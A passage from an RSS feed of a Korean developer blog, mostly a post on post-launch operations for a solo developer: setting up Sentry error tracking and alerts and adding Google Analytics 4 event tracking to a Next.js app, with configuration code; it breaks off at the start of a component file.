&lt;p&gt;다음 포스팅에서는 &lt;strong&gt;Gatsby 블로그 스킨 커스터마이징&lt;/strong&gt; 방법을 다룹니다. 콘텐츠 폭, 폰트, 색상, 다크모드까지 나만의 블로그 디자인을 만들어 보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[운영과 모니터링 — 출시 후 해야 할 것들]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/05-operation-monitoring/</link><guid isPermaLink="false">https://blog.javapark.kr/05-operation-monitoring/</guid><pubDate>Sat, 04 Apr 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;드디어 시리즈의 마지막 포스팅입니다. 기획부터 설계, 개발, 배포까지 해냈습니다. 축하합니다! 하지만 여기서 끝이 아닙니다. &lt;strong&gt;출시는 시작일 뿐입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;서비스를 세상에 내놓은 순간부터 진짜 게임이 시작됩니다. 사용자가 어떤 에러를 만나는지, 어떤 기능을 많이 쓰는지, 서비스가 얼마나 빠른지 -- 이 모든 것을 파악하고 개선해야 합니다. 이번 포스팅에서는 1인 개발자가 서비스를 안정적으로 운영하기 위해 꼭 해야 할 것들을 정리합니다.&lt;/p&gt;
&lt;h2&gt;출시는 시작일 뿐 -- 운영의 중요성&lt;/h2&gt;
&lt;p&gt;많은 1인 개발자들이 출시에만 집중하고, 이후 운영을 소홀히 합니다. 하지만 성공적인 서비스는 출시 이후의 운영에서 결정됩니다.&lt;/p&gt;
&lt;p&gt;운영 단계에서 해야 할 핵심 업무는 네 가지입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;에러 트래킹&lt;/strong&gt;: 사용자가 겪는 오류를 실시간으로 감지&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용자 분석&lt;/strong&gt;: 어떤 기능이 인기 있는지, 어디서 이탈하는지 파악&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;성능 모니터링&lt;/strong&gt;: 페이지 로딩 속도, API 응답 시간 관리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;피드백 수집&lt;/strong&gt;: 사용자의 목소리를 듣고 개선에 반영&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이 네 가지를 모두 무료 도구로 구축하는 방법을 알려드리겠습니다.&lt;/p&gt;
&lt;h2&gt;에러 트래킹 -- Sentry 연동&lt;/h2&gt;
&lt;p&gt;서비스를 운영하다 보면 예상치 못한 에러가 반드시 발생합니다. 사용자가 에러를 직접 알려주기를 기대할 수 없습니다. &lt;strong&gt;Sentry&lt;/strong&gt;를 사용하면 에러가 발생하는 즉시 알림을 받을 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Sentry 설치&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Sentry Next.js SDK 설치&lt;/span&gt;
npx @sentry/wizard@latest &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; nextjs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 명령을 실행하면 Sentry 설정 마법사가 시작됩니다. Sentry 계정 로그인, 프로젝트 생성, 설정 파일 생성까지 자동으로 진행됩니다.&lt;/p&gt;
&lt;p&gt;마법사가 완료되면 아래 파일들이 자동 생성됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;sentry.client.config.ts   — 클라이언트 사이드 Sentry 설정
sentry.server.config.ts   — 서버 사이드 Sentry 설정
sentry.edge.config.ts     — Edge Runtime Sentry 설정
next.config.js             — Sentry 플러그인이 자동 추가됨
.env.sentry-build-plugin   — Sentry 인증 토큰&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Sentry 기본 설정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// sentry.client.config.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; Sentry &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@sentry/nextjs&quot;&lt;/span&gt;

Sentry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  dsn&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SENTRY_DSN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 에러 샘플링 비율 (1.0 = 모든 에러 수집)&lt;/span&gt;
  tracesSampleRate&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 프로덕션에서만 활성화&lt;/span&gt;
  enabled&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NODE_ENV&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;production&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 사용자 세션 리플레이 (에러 발생 전후 화면 녹화)&lt;/span&gt;
  replaysSessionSampleRate&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 전체 세션의 10%&lt;/span&gt;
  replaysOnErrorSampleRate&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 에러 발생 시 100%&lt;/span&gt;

  integrations&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Sentry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;replayIntegration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// sentry.server.config.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; Sentry &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@sentry/nextjs&quot;&lt;/span&gt;

Sentry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  dsn&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SENTRY_DSN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  tracesSampleRate&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  enabled&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NODE_ENV&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;production&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;커스텀 에러 캡처&lt;/h3&gt;
&lt;p&gt;자동 에러 수집 외에도 중요한 비즈니스 로직에서 직접 에러를 캡처할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// lib/api-client.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; Sentry &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@sentry/nextjs&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetchWithErrorTracking&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  url&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  options&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; RequestInit
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ok&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;// HTTP 에러도 Sentry에 보고&lt;/span&gt;
      Sentry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;captureMessage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;API Error: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;url&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        level&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;warning&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        extra&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          statusText&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;statusText&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 네트워크 에러 등 캡처&lt;/span&gt;
    Sentry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;captureException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      extra&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Sentry 알림 설정&lt;/h3&gt;
&lt;p&gt;에러가 발생하면 즉시 알림을 받도록 설정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Sentry 대시보드 → Settings → Alerts
→ &quot;Create Alert Rule&quot;
→ 조건: &quot;A new issue is created&quot;
→ 액션: 이메일 알림 또는 Slack 알림
→ 빈도: &quot;실시간&quot; 또는 &quot;10분마다 요약&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;1인 개발자에게는 &lt;strong&gt;Slack 알림&lt;/strong&gt;을 추천합니다. 에러 발생 시 즉시 알림을 받을 수 있고, 에러 상세 정보로 바로 이동할 수 있습니다.&lt;/p&gt;
&lt;h2&gt;사용자 분석 -- Google Analytics 4 연동&lt;/h2&gt;
&lt;p&gt;서비스에 사용자가 어떻게 들어오고, 어떤 페이지를 보고, 어디서 떠나는지 파악하는 것은 서비스 개선의 핵심입니다.&lt;/p&gt;
&lt;h3&gt;GA4 설치&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Google Analytics 패키지 설치&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; @next/third-parties&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// app/layout.tsx&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; GoogleAnalytics &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@next/third-parties/google&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;RootLayout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  children&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  children&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; React&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ReactNode
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;html lang&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ko&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;children&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NODE_ENV&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;production&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;GoogleAnalytics gaId&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_GA_ID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;html&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;커스텀 이벤트 트래킹&lt;/h3&gt;
&lt;p&gt;페이지 조회 외에도 사용자의 주요 행동을 추적할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// lib/analytics.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;trackEvent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  eventName&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  parameters&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Record&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeof&lt;/span&gt; window &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;undefined&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;gtag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;gtag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;event&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; eventName&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; parameters&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 사용 예시&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// 회원가입 완료&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;trackEvent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;sign_up&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; method&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;email&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// AI 기능 사용&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;trackEvent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ai_generate&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; feature&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;summary&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tokens&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;150&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 유료 전환&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;trackEvent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;purchase&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; value&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9900&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; currency&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;KRW&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// components/GenerateButton.tsx&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;use client&quot;&lt;/span&gt;

